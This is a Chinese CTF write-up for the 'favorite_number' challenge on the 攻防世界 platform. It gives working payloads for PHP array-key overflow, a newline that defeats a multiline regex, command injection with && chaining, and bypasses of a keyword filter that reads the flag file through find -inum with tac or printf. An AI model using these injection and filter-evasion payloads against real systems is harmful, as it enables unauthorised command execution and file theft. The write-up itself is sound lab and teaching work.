攻防世界【favorite_number】解题方法
1. 简单分析
进入场景,直接给出了php源码
2. php数组下标溢出
第一层绕过:绕过数组的比较
-
php中使用
$_POST["stuff"]
接收数组,post请求中需要使用stuff[0]=admin&stuff[1]=user进行传递 -
为了绕过
$stuff[0] != 'admin'
,利用数组key溢出,把key设置为2^32,即4294967296
构造payload如下stuff[4294967296]=admin&stuff[1]=user&num=123
3. 多行匹配
绕过第二层:正则匹配数字
正则表达式 "/^\d+$/im"
的意思是匹配一串数字,不能有其它字符,但是/m
是多行匹配,即只要有一行匹配成功,preg_match返回true
换行符的ascii码为0x0a,所以构造如下payload
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
4. 获取目录结构
绕过第三层:绕过过滤敏感关键字
php中有system函数,但是却把cat、flag等关键字过滤掉了
所以为了获取flag,需要先找到flag所在的位置
通过用&&(ascii码为0x26)符号连接多条指令,获取目录结构
stuff[4294967296]=admin&stuff[1]=user&num=123%0acd ../..%26%26pwd%26%26ls
最终可以获取目录结构如下
5. 获取文件类型
从前面可以知道,根目录下有一个名为flag的文件或者目录,通过指令
ls -l /
获取详细文件内容如下
6. 获取flag的inode号
由第一个字符是-
可知flag是一个文件,现在只剩下一个问题,如何在不使用cat、flag关键字的情况下读取flag文件的内容
linux每个文件都有一个inode信息,inode结构用于指向一个文件,可以通过find加-inum参数:按照 inode 号搜索文件
首先获取flag文件的inode号
ls -i /
7. tac显示文件内容
最后再使用tac指令显示flag文件的内容(tac功能同cat,唯一的区别是以行为单位倒序打印文件内容)
其中需要使用开单引号括起来find的结果
tac `find / -inum 4074724`
另一种方式
思路:把/flag
关键字写入到一个文件中,用tac读出来,再以字符串作为tac的参数
cd /tmp
printf /fla > test
printf g >> test
tac `tac test`
注意:
- 需要切换到tmp目录下,别的目录有些没有创建文件的权限
- echo被过滤掉了,可以使用printf